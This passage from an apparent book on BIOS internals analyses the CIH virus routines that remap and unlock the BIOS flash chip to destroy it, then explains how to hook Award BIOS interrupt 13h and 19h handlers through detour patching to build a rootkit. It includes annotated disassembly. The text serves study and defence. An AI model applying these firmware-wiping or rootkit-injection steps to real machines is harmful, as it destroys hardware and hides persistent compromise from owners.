   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, al 
   ret 
 
 Register 4Eh in PIIX4 controls access to the BIOS chip, particularly the decoding of the 
BIOS chip address ranges. The quote from its datasheet is shown here. 
 

XBCS—X-BUS CHIP SELECT REGISTER (FUNCTION 0) 
 
Address Offset: 4E−4Fh 
Default Value: 03h 
Attribute: Read/Write 
 
This register enables or disables accesses to an external RTC, keyboard 
controller, I/O APIC, a secondary controller, and BIOS. Disabling any of 
these bits prevents the device's chip select and X-Bus output enable control 
signal (XOE#) from being generated. This register also provides coprocessor 
error and mouse functions. 

Bit Description 
... ... 
6 Lower BIOS Enable. When bit 6=1 (enabled), PCI 

master, or ISA master accesses to the lower 64-KB 
BIOS block (E0000–EFFFFh) at the top of 1 MB, or the 
aliases at the top of 4 GB (FFFE0000–FFFEFFFFh) result 
in the generation of BIOSCS# and XOE#. When 
forwarding the region at the top of 4 GB to the ISA Bus, 
the ISA LA[23:20] lines are all 1's, aliasing this region 
to the top of the 16-MB space. To avoid contention, ISA 
memory must not be present in this region (00FE0000–
00FEFFFFh). When bit 6=0, PIIX4 does not generate 
BIOSCS# or XOE# during these accesses and does not 
forward the accesses to ISA. 

... ... 
2 BIOSCS# Write Protect Enable. 1=Enable (BIOSCS# 

is asserted for BIOS memory read and write cycles in 
decoded BIOS region); 0=Disable (BIOSCS# is only 
asserted for BIOS read cycles). 



... ... 
 
 Note that the PIIX4 southbridge can be coupled with one of three Intel northbridges, 
namely, Intel 440BX, 430TX, or 440MX. 
 Proceed to next routine that maps the BIOS chip address ranges to the real BIOS chip, 
not to the BIOS shadow in DRAM. This routine is shown in listing 12.9. 
 

Listing 12.9 Mapping the Real BIOS Chip to BIOS Address Range 

   mov   di, 0058h  ; Register 59h in Intel 430TX, 440BX northbridge -> 
                    ; memory-mapping register for BIOS address ranges 
   dec   edx        ; Point to register 59h 
   mov   word ptr (BooleanCalculateCode-@10)[esi], 0f24h ; Patch the 
              ; opcode at BooleanCalculateCode label "and al, 0fh", 
              ; i.e., direct R/W operation to BIOS chip by PCI bus 
   call  esi  ; Call IOForEEPROM 
   ... 
IOForEEPROM: 
@10        =  IOForEEPROM 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, eax 
   xchg  eax, edi 
   xchg  edx, ebp 
   in al, dx 
 
BooleanCalculateCode  =  $ 
   and   al, 0fh    ; Direct R/W operation to BIOS chip by PCI bus 
                    ; Note: This is the runtime opcode after patching 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, eax 
   xchg  eax, edi 
   xchg  edx, ebp 
   out   dx, al 
   ret 
 
 The routine in listing 12.9 is clear if you read the Intel 440BX/430TX datasheet. The 
relevant snippet from the Intel 440BX datasheet is given here. 
 

PAM[6:0]—Programmable Attribute Map Registers(Device 0) 
 
Address Offset: 59h (PAM0)–5Fh (PAM6) 
Default Value: 00h 
Attribute: Read/Write 
 
The 82443BX allows programmable memory attributes on 13 Legacy 
memory segments of various sizes in the 640 KB to 1 MB address range. 
Seven programmable attribute map (PAM) registers are used to support 



these features. Cacheability of these areas is controlled via the MTRR 
registers in the Pentium Pro processor. Two bits are used to specify memory 
attributes for each memory segment. These bits apply to both host accesses 
and PCI initiator accesses to the PAM areas. These attributes are: 
 

• RE, Read Enable. When RE = 1, the host read accesses to the 
corresponding memory segment are claimed by the 82443BX and 
directed to main memory. Conversely, when RE = 0, the host read 
accesses are directed to PCI. 

• WE, Write Enable. When WE = 1, the host write accesses to the 
corresponding memory segment are claimed by the 82443BX and 
directed to main memory. Conversely, when WE = 0, the host write 
accesses are directed to PCI. 

 
The RE and WE attributes permit a memory segment to be read only, write 
only, read/write, or disabled. For example, if a memory segment has RE = 1 
and WE = 0, the segment is read only. 
Each PAM register controls two regions, typically 16 KB in size. Each of these 
regions has a 4-bit field. The four bits that control each region have the 
same encoding and are defined in the following table. 
 

Attribute Bit Assignment Table 

Bits [5, 1] 
WE 

Bits [4, 0] 
RE 

Description 

0 0 Disabled. DRAM is disabled and all accesses 
are directed to PCI. The 82443BX does not 
respond as a PCI target for any read or write 
access to this area. 

0 1 Read Only. Reads are forwarded to DRAM 
and writes are forwarded to PCI for 
termination. This write-protects the 
corresponding memory segment. The 
82443BX will respond as a PCI target for read 
accesses but not for any write accesses. 

1 0 Write Only. Writes are forwarded to DRAM 
and reads are forwarded to the PCI for 
termination. The 82443BX will respond as a 
PCI target for write accesses but not for any 
read accesses. 

1 1 Read/Write. This is the normal operating 
mode of main memory. Both read and write 
cycles from the host are claimed by the 
82443BX and forwarded to DRAM. The 
82443BX will respond as a PCI target for both 
read and write accesses. 

 
As an example, consider a BIOS that is implemented on the expansion bus. 
During the initialization process, the BIOS can be shadowed in main memory 
to increase the system performance. When BIOS is shadowed in main 
memory, it should be copied to the same address location. To shadow the 
BIOS, the attributes for that address range should be set to write only. The 



BIOS is shadowed by first doing a read of that address. This read is 
forwarded to the expansion bus. The host then does a write of the same 
address, which is directed to main memory. After the BIOS is shadowed, the 
attributes for that memory area are set to read only so that all writes are 
forwarded to the expansion bus. The following table shows the PAM registers 
and the associated attribute bits: 
 

PAM Registers and Associated Memory Segments Table 

PAM Reg Attribute Bits Comments Offset 
PAM0[3:0] Reserved 

Memory 
Segment  59h 

PAM0[7:4] R R WE RE 0F0000h–
0FFFFFh 

BIOS Area 59h 

... ... ... ... ... ... ... ... 
 
 By comparing the preceding datasheet snippet and listing 12.9, you will be able to 
conclude that routine in listing 12.9 sets up the northbridge to forward every transaction to 
the BIOS chip address range, to the PCI bus, and eventually to the real BIOS chip. 
 The next routine enables writing to the BIOS chip. As you learned in chapter 9, most of 
the BIOS chip is write-locked by default and you have to enter a special byte sequence to 
enable writing into it. The code snippet in listing 12.10 accomplishes this task. 
 

Listing 12.10 Disabling Write Protection in the BIOS Chip 

   lea   ebx, EnableEEPROMToWrite-@10[esi] 
   mov   eax, 0e5555h 
   mov   ecx, 0e2aaah 
   call  ebx   ; Call EnableEEPROMToWrite 
   mov   byte ptr [eax], 60h ; This is weird; it should be 
               ; "mov byte ptr [eax], 20h" to enable writing to BIOS; 
               ; "mov byte ptr [eax], 60h" is product ID command 
   push  ecx 
   loop  $     ; Delay to wait for BIOS chip cycles 
   ... 
EnableEEPROMToWrite: 
   mov   [eax], cl 
   mov   [ecx], al 
   mov   byte ptr [eax], 80h 
   mov   [eax], cl 
   mov   [ecx], al 
   ret 
 
 The code in listing 12.10 can be confusing. You have to compare the values written into 
the BIOS chip address ranges and a sample BIOS chip to understand it. A snippet from 
Winbond 29C020C datasheet is provided here can be used as reference. 
 

Command Codes for Software Data Protection 



To Enable Protection To Disable Protection Byte 
Sequence Address Data Address Data 
0 Write 5555h AAh 5555h AAh 
1 Write 2AAAh 55h 2AAAh 55h 
2 Write 5555h A0h 5555h 80h 
3 Write — — 5555h AAh 
4 Write — — 2AAAh 55h 
5 Write — — 5555h 20h 

 
 Note that the destination addresses of the memory write transaction shown in the 
preceding datasheet snippet are only 16-bits values because you only need to specify the 
lowest 16-bits of the destination addresses correctly. You don't need to specify the more 
significant bytes addresses precisely. As long as the overall destination address resides in 
the BIOS chip address ranges, the BIOS chip will decode it correctly as "commands." 
Those write transactions won't be interpreted as "normal" write transactions to the BIOS 
chip, rather, they will be treated as commands to configure the internal setting of the BIOS 
chip. That's why it doesn't matter whether you specify e5555h or f5555h as the destination 
address of the mov instruction. Both are the same from the BIOS chip's perspective because 
both reside in the BIOS chip address ranges. The important issue when writing command 
bytes into the BIOS chip is to make sure the data you write into it, i.e., the sequence of the 
bytes and their corresponding lowest 16-bits addresses are exactly as mentioned in the 
datasheet. If the code writes to an address range outside of the BIOS chip address ranges, it 
won't be interpreted as the BIOS chip configuration command because the BIOS chip won't 
respond to addresses outside of its range. 
 From the Winbond W29C020C datasheet snippet, it's clear that the routine disables the 
write protection of the BIOS chip. This byte sequence also applies to SST flash ROM 
chips. However, I'm not sure if it's already a JEDEC standard to disable the BIOS chip 
write-protection feature. 
 At this point, you should be able to understand listing 12.7 completely with the help of 
the hints I provided in listings 12.8 through 12.10 and their corresponding explanations. 
 After the previous analysis, it's clear that this particular CIH virus version only attacks 
systems with Intel 440BX, Intel 430TX, or Intel 440MX3 northbridge and Intel PIIX4 
southbridge—effectively, the contents of the BIOS chip in these systems are destroyed. On 
top of that, those systems must be running Windows 9x for the virus to work. Systems with 
other chipsets can also be destroyed, but the contents of their BIOS will be left unharmed, 
possibly because of chipset incompatibility. Nonetheless, this doesn't mean CIH was a 
minor threat when it spread around 1998–2000. Intel was then a dominant player in PC 
hardware. Therefore, its hardware was all over the place. That's why CIH attacked many 
PCs during that time. 
 The flashback to the history of BIOS-related attacks ends here. You will learn about 
BIOS rootkits in the upcoming sections. 
 
 

                                                 
3 Intel 440MX is a modified Intel 440BX chipset for mobile computing applications. 



12.2. Hijacking the System BIOS 
 
 There are plenty of possibilities to implement a BIOS rootkit. I explain one of them in 
this section. I won't go so far as to provide you with a working proof of concept because of 
the limited space in this book. However, I provide pointers to relevant articles that will 
guide you through the internals of the rootkit. Implementing the rootkit in the BIOS should 
be a trivial task after you've grasped the concept in this chapter. It's also important to note 
that there's the possibility that a BIOS cannot be injected with a rootkit because it doesn't 
have enough free space for the rootkit—even if the rootkit code is compressed. 
 Building a BIOS rootkit simply means injecting your code into the BIOS to conceal 
your presence in the target system. You learned the basic concept of BIOS code injection in 
chapter 6. In that chapter, you injected your custom code through the POST jump table. The 
code injection method in this section is a bit different; some mix that technique with 
redirection technique known as detour patching. The main target of the code injection is 
not the POST jump table but the BIOS interrupt handler. 
 BIOS interrupt handlers in some cases are twisted routines. Their initializations are 
carried out during both boot block code execution and main system BIOS execution. I 
explain in this section how to traverse the BIOS disassembly database for Award BIOS 
version 4.51PG code to find the "interesting" BIOS interrupt handlers and their 
initialization. As you will see in the next subsection, this method also works for Award 
BIOS version 6.00PG. The last subsection in this section explains the issue of 
implementing the rootkit development method in Award BIOS to the BIOS from other 
vendors. 
 The technique explained here is derived from the technique explained in the eEye 
BootRoot rootkit. The BootRoot4 rootkit works much like the boot sector virus back in the 
nineties. Its basic idea is to hijack the operating system loading process by using a modified 
boot sector—modifying the kernel in the process to conceal the presence of the remote 
attacker. As you may have known, the loading of the Windows XP kernel is not a single-
stage process. The typical booting process for new technology file system–based (NTFS-
based) Windows XP installation in the hard drive is shown in figure 12.5. Note that if 
Windows XP is installed on a 32-bit file allocation table (FAT32) partition, the booting 
process is more complicated and is not well represented in figure 12.5. Nevertheless, the 
basic principles are the same. 
 

                                                 
4 For more information on the BootRoot rootkit, read 
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-soeder.pdf. 



 
Figure 12.5 Windows XP kernel loading stages 

 



 Figure 12.5 is only a highlight of the booting process; you can find the details by 
reverse engineering in your Windows XP system. Detailed information can be found at 
rwid's NTFS reverse engineering dump at 
http://www.reteam.org/board/index.php?act=Attach&type=post&id=26 and the Linux 
NTFS project documentation at http://www.linux-ntfs.org/content/view/19/37/. In addition, 
you may want to read a book on digital forensics, such as File System Forensic Analysis by 
Brian Carrier. 
 Back at figure 12.5, you can clearly see that during Windows XP loading stages you 
have the chance to modify the operating system kernel (ntoskrnl.exe, hal.dll), either by 
hacking the Windows boot loader or by hacking the BIOS interrupt handlers. In this 
section, I show the latter scenario, i.e., how to implement an approach similar to the 
BootRoot rootkit at the BIOS level. The essence of the technique is to modify the interrupt 
handlers for interrupts that can alter the kernel before or during the operating system's 
kernel loading process. Figures 12.6 and 12.7 show how this trick works in a real-world 
scenario for interrupt 13h. 
 

 
Figure 12.6 Working principles of the original interrupt 13h handler 

 



Figure 12.7 Working principles of the altered interrupt 13h handler 

 
 Figures 12.8 and 12.9 show how the principle is applied to interrupt 19h. 

 
Figure 12.8 Working principles of original interrupt 19h handler 

 
Figure 12.9 Working principles of altered interrupt 19h handler 

 
 The next two subsections focus on the technique to locate the interrupt 13h handler and 
interrupt 19h handler within the BIOS binary. Interrupt 13h handles disk-related activity—a 
rootkit developer is particularly interested in the disk sectors' loading routine. Interrupt 19h 
is the bootstrap loader; it loads the operating system code to RAM and jumps into it to start 
operating system execution. The explanations in those sections are focused on Award 
BIOS. Note that the principles are applicable to the BIOS from other vendors. However, the 



biggest obstacle for the BIOS from other vendors is the technique and tools to integrate the 
changes into one usable BIOS binary. I stick to Award BIOS because its modification tools 
are widely available on the Web and the modification technique is well researched—you 
learned about it in previous chapters. 
 Before proceeding to read the hijacking technique, be aware that I use the word 
extension in this section in two contexts. When the word extension is not in quotation 
marks, it refers to the compressed BIOS components in the BIOS other than the system 
BIOS and the system BIOS extension. When the word extension is in quotation marks, it 
refers to the custom procedure that's injected to the BIOS to modify the behavior of the 
interrupt handler for rootkit purposes. I express the word in this way because of a lack of 
terms to refer to these two concepts. 
 
 
12.2.1. Hijacking Award BIOS 4.51PG Interrupt Handlers 
 
 The BIOS binary that I dissect in this subsection is vd30728.bin. This is the latest BIOS 
for the Iwill VD133 motherboard, released in 2000. You can download the binary at 
http://www.iwill.net/product_legacy2.asp?na=VD133&SID=32&MID=26&Value=60. This 
binary is placed inside a self-decompressing file, vd30728.exe. Remember, this BIOS is an 
Award BIOS binary based on Award BIOS 4.51PG code. 
 There are two kinds of interrupts in the x86 platform, hardware interrupts and software 
interrupts. The processor views both kinds of interrupts in almost the same fashion. The 
difference is minor, i.e., the so-called programmable interrupt controller (PIC) prioritizes 
hardware interrupts before reaching the processor interrupt line, whereas software interrupts 
don't have such a prioritizing mechanism. 
 Interrupts 13h and 19h are software interrupts. Nonetheless, you have to track down the 
interrupt-related initialization from the hardware interrupt initialization to grasp the overall 
view of BIOS interrupt handling. In most cases, the BIOS code disables the interrupt before 
the hardware-related interrupt initialization is finished. The overview of BIOS interrupts is 
shown in table 12.1. 
 
Interrupt Number (Hex) Description 
00–01 Exception handlers 
02 Nonmaskable interrupt (NMI) 
03–07 Exception handlers 
08 Interrupt request (IRQ) 0; system timer 
09 IRQ 1; keyboard 
0A IRQ 2; redirected to IRQ 9 
0B IRQ 3; serial port, i.e., COM2/COM4 
0C IRQ 4; serial port, i.e., COM1/COM3 
0D IRQ 5; reserved/sound card 
0E IRQ 6; floppy disk controller 
0F IRQ 7; parallel port, i.e., LPT1 
10–6F Software interrupt 
70 IRQ 8; real-time clock 
71 IRQ 9; redirected IRQ2 
72 IRQ 10; reserved 



73 IRQ 11; reserved 
74 IRQ 12; PS/2 mouse 
75 IRQ 13; math coprocessor 
76 IRQ 14; hard disk drive 
77 IRQ 15; reserved 
78–FF Software interrupts 

Table 12.1 Interrupt vector overview 

 
 The hardware that controls the delivery of hardware interrupt requests (IRQs) to the 
processor is the PIC. It must be initialized before enabling any interrupt in the system. In 
vd30728.bin, the PIC is initialized by the boot block code, as shown in listing 12.11. 
 

Listing 12.11 PIC Initialization in the vd30728.bin Boot Block 

F000:E12C Initialize various chips... 
F000:E12C That includes DMA controller (8237), 
F000:E12C interrupt controller (8259), and timer counter (8254) 
F000:E12C   mov   ax, 0F000h 
F000:E12F   mov   ds, ax          ; ds = F000h 
F000:E131   assume ds:F000 
F000:E131   mov   si, 0F568h      ; ds:si(F000:0F568h) points to 
F000:E131                         ; offsets values 
F000:E134   mov   cx, 24h         ; 24h entry to be programmed 
F000:E137   nop 
F000:E138   cld 
F000:E139 
F000:E139 Initialize everything except for DMA page registers 
F000:E139 next_outport_word:      ; ... 
F000:E139   lodsw 
F000:E13A   mov   dx, ax 
F000:E13C   lodsb 
F000:E13D   out   dx, al 
F000:E13E   jmp   short $+2       ; Delay 
F000:E140   jmp   short $+2       ; Delay 
F000:E142   loop  next_outport_word 
......... 
F000:F568   dw 3B8h               ; Port address (possibly IDE ctlr) 
F000:F56A   db    1               ; Value to write 
......... 
F000:F5AD   dw 20h                ; Interrupt ctlr 
F000:F5AF   db  11h               ; Master PIC ICW1; will be sending ICW4 
F000:F5B0   dw 21h                ; Interrupt ctlr 
F000:F5B2   db    8               ; Master PIC ICW2; point to 8th ISR 
F000:F5B2                         ; vector for IRQs in master PIC 
F000:F5B3   dw 21h                ; Interrupt ctlr 
F000:F5B5   db    4               ; Master PIC ICW3; IRQ2 connected to 
F000:F5B5                         ; slave PIC 
F000:F5B6   dw 21h                ; Interrupt ctlr 
F000:F5B8   db    1               ; Master PCI ICW4; 8086 mode 



F000:F5B9   dw 21h                ; Interrupt ctlr 
F000:F5BB   db 0FFh               ; OCW1: disable all IRQs in master PIC 
F000:F5BC   dw 0A0h               ; Interrupt ctlr 
F000:F5BE   db  11h               ; Slave PIC ICW1; will be sending ICW4 
F000:F5BF   dw 0A1h               ; Interrupt ctlr 
F000:F5C1   db  70h               ; Slave PIC ICW2; point to 70h-th ISR 
F000:F5C1                         ; vector for IRQs in slave PIC 
F000:F5C2   dw 0A1h               ; Interrupt ctlr 
F000:F5C4   db    2               ; Slave PIC ICW3; slave ID = 2 
F000:F5C5   dw 0A1h               ; Interrupt ctlr 
F000:F5C7   db    1               ; Slave PIC ICW4: 8086 
F000:F5C8   dw 0A1h               ; Interrupt ctlr 
F000:F5CA   db 0FFh               ; OCW1: disable all IRQs in slave PIC 
......... 
 
 Tracking the PIC initialization in the BIOS disassembly is important because it leads to 
the interrupt initialization routine, which provides the 32-bit (segment:address) pointer to 
the interrupt handler. You might be asking about the relationship between the PIC 
initialization and the interrupt initialization; all interrupts (except NMI) are disabled before 
the completion of the PIC initialization. Once you have located the interrupt-handler 
routine, you can use various tricks to patch it, such as detour patching.5
 Listing 12.11 shows PIC initialization in the boot block. This is an ordinary PIC 
initialization using the so-called initialization command word (ICW). The initialization 
ends with an operation command word (OCW) that disables all IRQ lines. You can find 
numerous tutorials about PIC-related subjects on the Web if you feel uncomfortable with it, 
for example, at http://www.beyondlogic.org/interrupts/interupt.htm. 
 From the preceding code, you can infer that the processor is not serving any interrupt 
yet because the PIC is "virtually" disabled. However, nothing can prevent an NMI from 
happening because it has a direct interrupt line to the processor. 
 Now, proceed to the next stage of interrupt-related initialization in the current BIOS 
binary, initializing the 16-bit interrupt vectors. In the current BIOS binary, it's in the system 
BIOS's POST jump table at the eighth entry. The disassembly is shown in listing 12.12. I'm 
using some abbreviated words in the listing, such as ivect, which refers to interrupt vector; 
ISR, which refers to in-service register in the PIC; EOI, which refers to end of interrupt; 
and IRR, which refers to the interrupt request register in the PIC. 
 

Listing 12.12 Interrupt Vectors Initialization in the vd30728.bin System BIOS 

E000:61C2 Begin_E000_POST_Jmp_Table 
E000:61C2 POST_Jmp_Tbl_Start dw offset POST_1S ; ... 
E000:61C2                               ; Restore warm-boot flag 
......... 

                                                 
5 Detour patching is a method to patch executables by redirecting the execution of the executable 
using a branch instruction such that a custom code will be executed when the original executable is 
being executed. It's described at 
http://research.microsoft.com/~galenh/Publications/HuntUsenixNt99.pdf. 



E000:61D0   dw offset POST_8S           ; 1. Initialize interrupt vectors 
E000:61D0                               ;    for IRQ handling and some 
E000:61D0                               ;    other interrupt vectors 
E000:61D0                               ; 2. Initialize "signatures" used 
E000:61D0                               ;    for Ext_BIOS components 
E000:61D0                               ;    decompression 
E000:61D0                               ; 3. Initialize PwrMgmtCtlr 
E000:61D0                               ; 
E000:61D4   dw offset POST_10S          ;    Update flags, BIOS data area 
E000:61D4                               ;    and enable interrupt 
E000:61D4                               ; Note: At this point, IRQ lines 
E000:61D4                               ;       are still disabled 
......... 
E000:61F8   dw offset Start_ISA_POSTs   ; Call ISA POST tests (below) 
E000:61F8 End_E000_POST_Jmp_Table 
......... 
E000:17B8 POST_8S proc near             ; ... 
E000:17B8   cli 
E000:17B9   mov   ax, 0F000h 
E000:17BC   mov   ds, ax 
E000:17BE   cld 
E000:17BF   xor   di, di 
E000:17C1   mov   es, di 
E000:17C3   assume es:nothing 
E000:17C3   mov   ax, 0F000h 
E000:17C6   shl   eax, 10h 
E000:17CA   mov   ax, offset fallback_ivect_handler ; eax = F000:E7D0h 
E000:17CD   mov   ecx, 120              ; Initialize 120 interrupt vector 
E000:17D3   rep stosd                   ; Initialize "fallback ivect" 
E000:17D6   mov   ax, offset PIC_ISR_n_IRR_HouseKeeping ; EOI handler 
E000:17D9   mov   di, 140h              ; Interrupt vector 50h 
E000:17DC   stosd 
E000:17DE   mov   cx, 32                ; First 32 interrupts 
E000:17E1   mov   ax, 0F000h 
E000:17E4   mov   si, offset ivect_start 
E000:17E7   xor   di, di                ; es:di = 0000:0000h 
E000:17E9   xchg  bx, bx 
E000:17EB   nop 
E000:17EC 
E000:17EC repeat:                       ; ... 
E000:17EC   movsw                       ; "Install" reserved ivect offset 
E000:17ED   stosw                       ; "Install" reserved ivect seg 
E000:17EE   loop  repeat 
E000:17F0   cmp   word ptr [si-2], 0 
E000:17F4   jnz   short last_ivect_not_0 
E000:17F6   mov   word ptr es:[di-2], 0 
E000:17FC 
E000:17FC last_ivect_not_0:             ; ... 
E000:17FC   mov   cx, 8                 ; Fill interrupt vector for IRQ8- 
E000:17FC                               ; IRQ15 
E000:17FF   mov   si, offset ivect_70h 



E000:1802   mov   di, 1C0h              ; IRQ8 interrupt vector 
E000:1805   xchg  bx, bx 
E000:1807   nop 
E000:1808 
E000:1808 repeat_:                      ; ... 
E000:1808   movsw 
E000:1809   stosw 
E000:180A   loop  repeat_ 
E000:180C   mov   di, 180h 
E000:180F   mov   ecx, 8 
E000:1815   xor   eax, eax 
E000:1818   rep stosd 
......... 
E000:186F   retn 
E000:186F POST_8S endp 
......... 
F000:E7D0 fallback_ivect_handler:       ; ... 
F000:E7D0   push  ds 
F000:E7D1   push  ax 
F000:E7D2   push  cx 
F000:E7D3   mov   ax, 40h 
F000:E7D6   mov   ds, ax                ; ds = BDA segment 
F000:E7D8   jmp   no_pending_ISR 
......... 
F000:EF6F ; Reads the ISR and generates EOI to the PIC as needed 
F000:EF6F 
F000:EF6F PIC_ISR_n_IRR_HouseKeeping proc far ; ... 
F000:EF6F   push  ds 
F000:EF70   push  ax 
F000:EF71   push  cx 
F000:EF72   mov   ax, 40h 
F000:EF75   mov   ds, ax 
F000:EF77   assume ds:nothing 
F000:EF77   mov   al, 0Bh               ; Command to read ISR 
F000:EF79   out   20h, al               ; Interrupt controller, 8259A 
F000:EF79                               ; Master PIC 
F000:EF7B   out   0EBh, al 
F000:EF7D   in    al, 20h               ; Read ISR contents (Master PIC) 
F000:EF7F   out   0EBh, al 
F000:EF81   mov   ah, al 
F000:EF83   or    al, al 
F000:EF85   jz    short no_pending_ISR 
F000:EF87   test  al, 100b 
F000:EF89   jz    short not_slave_PIC_interrupt 
F000:EF8B   mov   al, 0Bh               ; Read contents of ISR 
F000:EF8D   out   0A0h, al              ; PIC 2 same as 0020 for PIC 1 
F000:EF8F   out   0EBh, al 
F000:EF91   in    al, 0A0h              ; PIC 2 same as 0020 for PIC 1 
F000:EF93   out   0EBh, al 
F000:EF95   mov   cl, al 
F000:EF97   or    al, al 



F000:EF99   jz    short not_slave_PIC_interrupt 
F000:EF9B   in    al, 0A1h              ; Interrupt controller #2, 8259A 
F000:EF9D   out   0EBh, al 
F000:EF9F   or    al, cl                ; Disable IRQ line for currently 
F000:EF9F                               ; serviced interrupt? 
F000:EFA1   out   0A1h, al              ; Interrupt controller #2, 8259A 
F000:EFA3   out   0EBh, al 
F000:EFA5   mov   al, 20h 
F000:EFA7   out   0A0h, al              ; Output EOI 
F000:EFA9   jmp   short output_End_Of_Interrupt 
F000:EFAB 
F000:EFAB not_slave_PIC_interrupt:      ; ... 
F000:EFAB   in    al, 21h               ; Interrupt controller, 8259A 
F000:EFAD   or    al, ah                ; Disable IRQ line for currently 
F000:EFAD                               ; serviced interrupt? 
F000:EFAF   out   0EBh, al 
F000:EFB1   and   al, 11111011b         ; Activate slave PIC line 
F000:EFB3   out   21h, al               ; Interrupt controller, 8259A 
F000:EFB5 
F000:EFB5 output_End_Of_Interrupt:      ; ... 
F000:EFB5   mov   al, 20h 
F000:EFB7   out   0EBh, al 
F000:EFB9   out   20h, al               ; Interrupt controller, 8259A 
F000:EFBB   jmp   short exit 
F000:EFBD 
F000:EFBD no_pending_ISR:               ; ... 
F000:EFBD   mov   ah, 0FFh 
F000:EFBF 
F000:EFBF exit:                         ; ... 
F000:EFBF   mov   ds:6Bh, ah 
F000:EFC3   pop   cx 
F000:EFC4   pop   ax 
F000:EFC5   pop   ds 
F000:EFC6   assume ds:nothing 
F000:EFC6   iret 
F000:EFC6 PIC_ISR_n_IRR_HouseKeeping endp 
......... 
F000:FEE3 ivect_start dw offset fallback_ivect_handler ; ... 
F000:FEE3                               ; Interrupt vector 0h 
F000:FEE5   dw offset fallback_ivect_handler ; Interrupt vector 1h 
F000:FEE7   dw offset sub_F000_E2C3     ; Interrupt vector 2h 
F000:FEE9   dw offset fallback_ivect_handler ; Interrupt vector 3h 
F000:FEEB   dw offset fallback_ivect_handler ; Interrupt vector 4h 
F000:FEED   dw offset sub_F000_FF54     ; Interrupt vector 5h 
F000:FEEF   dw offset sub_F000_8008     ; Interrupt vector 6h 
F000:FEF1   dw offset fallback_ivect_handler ; Interrupt vector 7h 
F000:FEF3   dw offset System_Timer_IRQ_handler ; Int vector 8h -- IRQ 0 
F000:FEF5   dw offset Keyboard_IRQ_Handler   ; Int vector 9h -- IRQ 1 
F000:FEF7   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector Ah -- IRQ 2 
F000:FEF9   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector Bh -- IRQ 3 
F000:FEFB   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector Ch -- IRQ 4 



F000:FEFD   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector Dh -- IRQ 5 
F000:FEFF   dw offset FDC_IRQ_Handler   ; Int vector Eh -- IRQ 6 
F000:FF01   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector Fh -- IRQ 7 
F000:FF03   dw offset sub_F000_F065     ; Interrupt vector 10h 
F000:FF05   dw offset sub_F000_F84D     ; Interrupt vector 11h 
F000:FF07   dw offset sub_F000_F841     ; Interrupt vector 12h 
F000:FF09   dw offset goto_int_13h_handler   ; Interrupt vector 13h 
F000:FF0B   dw offset sub_F000_E739     ; Interrupt Vector 14h 
F000:FF0D   dw offset goto_int_15h_handler   ; Interrupt vector 15h 
F000:FF0F   dw offset sub_F000_E82E     ; Interrupt vector 16h 
F000:FF11   dw offset sub_F000_EFD2     ; Interrupt vector 17h 
F000:FF13   dw offset sub_F000_E7A4     ; Interrupt vector 18h 
F000:FF15   dw offset goto_bootstrap    ; Interrupt vector 19h 
F000:FF17   dw offset sub_F000_FE6E     ; Interrupt vector 1Ah 
F000:FF19   dw offset nullsub_33        ; Interrupt vector 1Bh 
F000:FF1B   dw offset nullsub_33        ; Interrupt vector 1Ch 
F000:FF1D   dw offset unk_F000_F0A4     ; Interrupt vector 1Dh 
F000:FF1F   dw offset unk_F000_EFC7     ; Interrupt vector 1Eh 
F000:FF21   dw 0                        ; 1st interrupt vectors group end 
F000:FF23 ivect_70h dw offset RTC_IRQ_Handler ; ... 
F000:FF23                               ; Int vector 70h -- IRQ 8 
F000:FF25   dw offset Redirected_IRQ_2  ; Int vector 71h -- IRQ 9 
F000:FF27   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector 72h, IRQ 10 
F000:FF29   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector 73h, IRQ 11 
F000:FF2B   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector 74h, IRQ 12 
F000:FF2D   dw offset MathCoprocessor_IRQ_handler; Int vector 75h, IRQ 13 
F000:FF2F   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector 76h, IRQ 14 
F000:FF31   dw offset PIC_ISR_n_IRR_HouseKeeping ; Int vector 77h, IRQ 15 
 
 If you are having difficulties understanding the flow of execution in the beginning of 
listing 12.12, read chapter 5 again. The ISR in the PIC_ISR_n_IRR_HouseKeeping 
procedure name refers to the in-service register, not interrupt service routine—especially, in 
the section that explains the POST jump table. 
 The code in listing 12.12 shows that the first 32 entries of the 16-bit BIOS interrupt 
vectors are contained in a table—I will call it the interrupt vector table from this point. A 
rootkit developer is particularly interested in entry 13h and 19h because both of these 
entries are the vectors to interrupt 13h and 19h handlers. 
 Now let me give you a glimpse of the contents of the interrupt 13h handler. It is shown 
in listing 12.13. 
 

Listing 12.13 Interrupt 13h Handler 

F000:EC59 goto_int_13h_handler proc far ; ... 
F000:EC59   jmp   near ptr int_13h_handler 
F000:EC59 goto_int_13h_handler endp 
......... 
F000:8A90 int_13h_handler proc far      ; ... 
F000:8A90   call  do_nothing 
F000:8A93   sti 



F000:8A94   push  ds 
F000:8A95   push  ax 
F000:8A96   mov   ax, 40h 
F000:8A99   mov   ds, ax 
F000:8A9B   assume ds:nothing 
F000:8A9B   and   byte ptr ds:0C1h, 7Fh 
F000:8AA0   mov   al, ds:0EAh 
F000:8AA3   test  al, 4 
......... 
F000:8C15 return:                       ; ... 
F000:8C15   pop   ax 
F000:8C16   pop   di 
F000:8C17   pop   es 
F000:8C18   assume es:nothing 
F000:8C18   pop   ds 
F000:8C19   assume ds:nothing 
F000:8C19   pop   si 
F000:8C1A   call  do_nothing_2 
F000:8C1D   iret 
......... 
F000:8890 do_nothing proc near          ; ... 
F000:8890   retn 
F000:8890 do_nothing endp 
......... 
F000:8894 do_nothing_2 proc near        ; ... 
F000:8894   retn 
F000:8894 do_nothing_2 endp 
 
 Listing 12.13 does not shown the whole disassembly result because it's too long and 
won't be easy to comprehend. It only shows the interesting part that can become your 
starting point to inject your modification to the original interrupt 13h handler. As you can 
clearly see, two functions seem to be left over from a previous Award BIOS code base. 
They are named do_nothing and do_nothing_2. You can reroute this function call to call 
your custom code. This method is the 16-bit real mode version of the detour patching 
technique that I mentioned before. 
